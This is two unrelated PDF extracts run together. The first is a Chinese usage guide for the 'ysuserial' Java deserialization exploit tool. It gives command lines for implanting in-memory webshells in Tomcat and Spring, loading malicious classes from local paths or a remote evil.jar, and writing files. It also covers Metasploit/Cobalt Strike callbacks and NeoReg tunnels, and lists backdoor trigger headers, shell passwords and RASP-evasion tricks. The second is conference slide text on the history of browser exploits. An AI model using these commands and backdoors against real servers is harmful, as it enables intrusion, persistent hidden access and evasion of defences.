如果使⽤这些利⽤链进⾏攻击,本项⽬内置了⼀些⾼级扩展⽤法,命令均使⽤ EX- 开头,具体如下: 命令 EX-SpringInterceptorMS :向系统内植⼊ Spring 拦截器类型的内存⻢ 命令 EX-TFMSFromJMX :利⽤ JMX MBeans 向系统内植⼊ Tomcat Filter 型内存⻢ 命令 EX-TFMSFromThread :通过线程类加载器获取指定上下⽂向系统内植⼊ Tomcat Filter 型内存⻢ 命令 EX-TLMSFromThread :通过线程类加载器获取指定上下⽂向系统内植⼊ Tomcat Listener 型内存⻢ 命令 EX-TLNeoRegFromThread :通过线程类加载器获取指定上下⽂向系统内植⼊ NeoReg 流量隧道型内存⻢ 命令 EX-TomcatEcho :通过在线程中遍历获取当前 request 来执⾏命令并回显 命令 EX-TSMSFromJMX :利⽤ JMX MBeans 向系统内植⼊ Tomcat Servlet 型内存⻢ 命令 EX-TSMSFromThread :通过线程类加载器获取指定上下⽂系统内植⼊ Tomcat Servlet 型内存⻢ 这⾥就不⼀⼀测试截图了,欢迎⼤家进⾏测试,如果问题请按⽂档最后的联系⽅式联系我。 java -jar ysuserial-0.1-su18-all.jar CommonsCollections1 'open -a Calculator.app' 任意⾃定义代码 如果你不想使⽤本项⽬中提供的恶意逻辑,也不想执⾏命令,可以通过⾃定义代码的形式,⾃定义代码将会在⽬标服务器通过 ClassLoader 进⾏加载并实例化。命令使⽤ LF- 开头,后⾯跟指定⾃定义类字节码⽂件的绝对路径。 示例: 效果图: 普通命令执⾏ 最后是普通的执⾏命令,直接输⼊待执⾏的命令即可,程序将会使⽤ Unsafe 反射调⽤ forkAndExec 执⾏系统命令。 普通命令执⾏示例: 效果图: java -jar ysuserial-0.1-su18-all.jar CommonsCollections3 LF-/tmp/evil.class java -jar ysuserial-0.1-su18-all.jar CommonsBeanutils2 'open -a Calculator.app' DNSLOG 关键字 对应链 关键类 备注 cc31or321 cc322 CommonsCollections13567 org.apache.commons.collections.functors.ChainedTransformer org.apache.commons.collections.ExtendedProperties$1 CommonsCollections1/3/5/6/7 需要"/3.2.1版本 cc40 cc41 CommonsCollections24 org.apache.commons.collections4.functors.ChainedTransformer org.apache.commons.collections4.FluentIterable CommonsCollections2/4链 需要4-4.0版本 cb17 cb18x cb19x CommonsBeanutils2 org.apache.commons.beanutils.MappedPropertyDescriptor$1 org.apache.commons.beanutils.DynaBeanMapDecorator$MapEntry org.apache.commons.beanutils.BeanIntrospectionData 1.7x-1.8x 为-3490850999041592962 1.9x为-2044202215314119608 c3p092x c3p095x C3P0 com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase com.mchange.v2.c3p0.test.AlwaysFailDataSource 0.9.2pre2-0.9.5pre8为 7387108436934414104 0.9.5pre9-0.9.5.5为 7387108436934414104 ajw AspectJWeaver org.aspectj.weaver.tools.cache.SimpleCache AspectJWeaver,需要cc31 bsh20b4 bsh20b5 bsh20b6 bsh bsh.CollectionManager$1 bsh.engine.BshScriptEngine bsh.collection.CollectionIterator$1 2.0b4为4949939576606791809 2.0b5为4041428789013517368 2.0.b6⽆法反序列化 groovy1702311 groovy24x groovy244 Groovy org.codehaus.groovy.reflection.ClassInfo$ClassInfoSet groovy.lang.Tuple2 org.codehaus.groovy.runtime.dgm$1170 2.4.x为-8137949907733646644 2.3.x为1228988487386910280 becl Becl com.sun.org.apache.bcel.internal.util.ClassLoader JDK<8u251 Jdk7u21 Jdk7u21 com.sun.corba.se.impl.orbutil.ORBClassLoader JDK"/7u21 JRE8u20 JRE8u20 javax.swing.plaf.metal.MetalFileChooserUI$DirectoryComboBoxModel$1 7u25"/JDK"/8u20 这个检测不完美,8u25版本以及 JDK"/7u21会误报 可综合Jdk7u21来看 linux windows winlinux sun.awt.X11.AwtGraphicsConfigData sun.awt.windows.WButtonPeer windows/linux版本判断 all 全部检测 URLDNS 探测⽬标类 为了解决有反序列化利⽤点但是⽆链可⽤的状态,本项⽬提供了基于 URLDNS 探测⽬标类的功能。这条链会根据⽬标环境中不同的类是否 存在来判断系统环境、依赖版本,主要包含如下表格中的内容: 示例: 效果图: 其他利⽤链的拓展 对于 BeanShell1 及 Clojure 这两个基于脚本语⾔解析的漏利⽤⽅式。 本项⽬为这两条利⽤链拓展了除了 Runtime 执⾏命令意外的多种利⽤⽅式,具体如下: TS :Thread Sleep - 通过 Thread.sleep() 的⽅式来检查是否存在反序列化漏洞,使⽤命令: TS-10 RC :Remote Call - 通过 URLClassLoader.loadClass() 来调⽤远程恶意类并初始化,使⽤命令: RC- http:"+xxxx.com/evil.jar#EvilClass WF :Write File - 通过 FileOutputStream.write() 来写⼊⽂件,使⽤命令: WF-/tmp/shell#123 其他:普通命令执⾏ - 通过 ProcessBuilder().start() 执⾏系统命令,使⽤命令 whoami 与之前的扩展类似,这⾥也不放截图了。 MSF/CS 上线 使⽤ MSF 的上线载荷配合远程 Jar 包调⽤完成 MSF 上线,后续可转 CS。 示例: java -jar ysuserial-0.1-su18-all.jar URLDNS 'xxxxxx.dns.log' 内存⻢的使⽤ 针对项⽬中⼀键打⼊的各种内存⻢,这⾥提供了通⽤的利⽤⽅式。 命令执⾏及后⻔类 对于 SpringInterceptorMS、TFMSFromJMX、TFMSFromThread、TLMSFromJMX、TLMSFromThread、TSMSFromJMX、 TSMSFromThread 注⼊内存⻢的利⽤⽅式,此类内存⻢都同时集成了三种功能:命令执⾏及回显、冰蝎、哥斯拉。 ⾸先为了隐藏内存⻢,通过逻辑进⾏了判断,需要在请求 Header 中添加 Referer: https:"+su18.org/ 。 其次将根据 header 中的 X-SSRF-TOKEN 的值执⾏不同的逻辑: 1. 如果 X-SSRF-TOKEN 的值是 ce,则为 命令执⾏ 功能,程序会从 X-Token-Data 中读取待执⾏的命令,并将执⾏结果进⾏ 回显; 2. 如果 X-SSRF-TOKEN 的值是 bx,则为 冰蝎 Shell 功能,可使⽤冰蝎客户端进⾏连接管理,密码 su18yyds ; 3. 如果 X-SSRF-TOKEN 的值是 gz,则为 哥斯拉 shell 功能,可使⽤哥斯拉客户端进⾏连接管理,pass 值设为 su18 ,key 设为 su18yyds 。 NeoReg 隧道类 对于 TLNeoRegFromThread 注⼊ NeoReg 的隧道脚本。项⽬地址:https:"+github.com/L-codes/Neo-reGeorg 可以使⽤类似如下命令建⽴隧道连接: 效果图: TomcatEcho python neoreg.py -k su18 -u http:"+xxx.com/ -H 'Referer: https:"+su18.org/' 对于 TomcatEcho 是基于在线程组中找到带有指定 Header 头部的请求、执⾏命令并回显的利⽤⽅式。 使⽤时在 Header 中加⼊ X-Token-Data ,其值为待执⾏的命令,命令执⾏结果将回显在 response 中。 效果图: 防御的绕过 这部分不涉及使⽤⽅式,只是简单的描述⼀下项⽬中所使⽤的绕过⽅式供⼤家了解。 流量层⾯ 对于冰蝎和哥斯拉,他们⾃⼰在流量和Java层都有很多可以提取的特征,这⾥没有办法去管控,需要各位⾃⾏去魔改,其实也并不难。本 项⽬把⼀些⼤家实现的⽐较类似的⼀些特征进⾏了去除。 RASP 层⾯ 对于漏洞执⾏常使⽤的 Runtime、URLClassLoader 等,很多 RASP 都进⾏了 Hook,在攻击时可能会被拦截,这⾥我使⽤了⼀些反 射调⽤ native ⽅法之类的技术去尝试 RASP 的防御,具体的技术实现就不细说了,感兴趣的朋友可以反编译 jar 包查看相关代码。 这⾥由于发现还有的不讲武德的防御⽅式在类加载时进⾏包名的⿊名单的匹配,对例如 rebeyond/metasploit 之类的关键字进⾏了防 御,因此本项⽬只⽤了个⼈的域名前缀包名 org.su18 ,据我了解⽬前还没有⼈针对我这个包名进⾏防御,如果未来被加⼊了豪华⿊名 单⼤礼包,我会更新可以⽣成⾃定义包名的版本。 参考 本项⽬参考了若⼲其他项⽬,包括但不限于: https:"+github.com/woodpecker-framework/ysoserial-for-woodpecker https:"+github.com/Y4er/ysoserial https:"+github.com/rapid7/metasploit-framework https:"+github.com/L-codes/Neo-reGeorg https:"+github.com/kezibei/Urldns/ 有兴趣的伙伴可以⾃⾏查看。 更新 在可预⻅的未来内会更新如下功能,敬请期待: 加载 CS shellcode(还没学会); ⽆⽂件落地 Agent 注⼊(还没学会); 持续绕过各种防护(我是实验室⿊客,实战还没学会)。 或者你有什么其他的想法或需求,可以与我进⾏联系。 提问与交流 本项⽬全部利⽤链全部功能以及全部利⽤链都经过本⼈本地环境的完整测试。但考虑到实际环境复杂,在实际使⽤中还可能遇到各种各样 的问题,欢迎⼤家⼀起测试,提出 ISSUES。 如果在项⽬使⽤时遇到任何问题,欢迎添加微信 K_MnO4 (⾼锰酸钾) ,或邮件 su18@javaweb.org 进⾏交流。 关于 Java 安全的任意问题也可以与我进⾏交流,欢迎进⼊ JavaSec 交流群进⾏交流。 防御与修复 在使⽤本项⽬⾃查后,发现可以进⾏攻击,下⼀步该如何对其进⾏防护与修复呢? 经过实际环境的验证,发现使⽤ RASP 技术可以最好的进⾏安全层⾯的防护,经过完整的测试后,本项⽬所使⽤的全部攻击技术都可以被 灵蜥 — 应⽤系统攻击⾃免疫平台 RASP 产品完美防护,欢迎⼤家联系电话 010-61943626 或邮件 marketing@anbai.com 进⾏咨 询和了解。
pdf
软件安全分论坛 自我介绍   ID:仙果   清华大学网络行为研究所    安全研究员   兴华永恒(北京)      高级安全工程师   7年安全工作经验,专注于漏洞分析,漏洞防护   浏览器   用户接入互联网的门户     2015年8月份全球主流浏览器市场份额排行榜   浏览器漏洞攻防的参与者   时间线   *~2008 2009-2010 2011-2012 2013-2014 2015 Win 7 NO_ASLR&堆填充 ActiveX Java Flash Plyaer象混淆 CVE-2011-2110 IE器UAF CVE-2013-2551 CVE-2014-0322 HackingTeam yuange_vbscript, Flash Player CVE-2010-3654 CVE-2009-1492 CVE-2010-3971 CVE-2012-0779 浏览器防护手段   DEP 杀毒软件防护 EMP 隔离堆 栈Cookies ASLR SEHOP EAF 沙盒 IE6/7-REALPLAYER   RealPlayer  10.0/10.5/11  ierpplug.dll  ActiveX  Control  Import  Playlist   Name  Stack  Buffer  Overflow  Vulnerability     CVE-2009-1537-QuickTime  Movie  Parser  Filter  in   quartz.dll  in  DirectShow   艺术的原始积累    ---            野蛮生长    XP系统的脆弱性得到极大的放大   野蛮   暴力   WIN7的抗争-CVE-2010-3971   袁哥大法好   ASLR的陷落-CVE-2010-3654   3654漏洞的黑历史&浏览器漏洞攻防新篇章      的开启   DEMO   漏洞攻防---相爱相杀   去掉JAVA虚拟机SecurityManager属性=可以干任何事   2011-2013:JAVA漏洞大行其道   袁哥天书之不弹不闪不卡   CVE-2012-0779-加密技术大爆发   登堂入室的艺术   CVE-2014-0322:IE+FLASH组合   CVE-2013-2551-LEAK_ADDRESS   江湖一招鲜-CVE-2014-6332   System:    Win95-Win10   Browser:  ie3~ie11   数组越界访问   全浏览器&全系统&防护全绕过   Hacking  Team  :Flash  0day&Font  0day   X32/X64 IE/FireFox/Chr ome Windows/Mac OS/Linux DEP EPM&CF G ASLR CFG 超 级 炸 弹 IE已死,有事烧纸   浏览器的重生   谢谢大家&QA 
pdf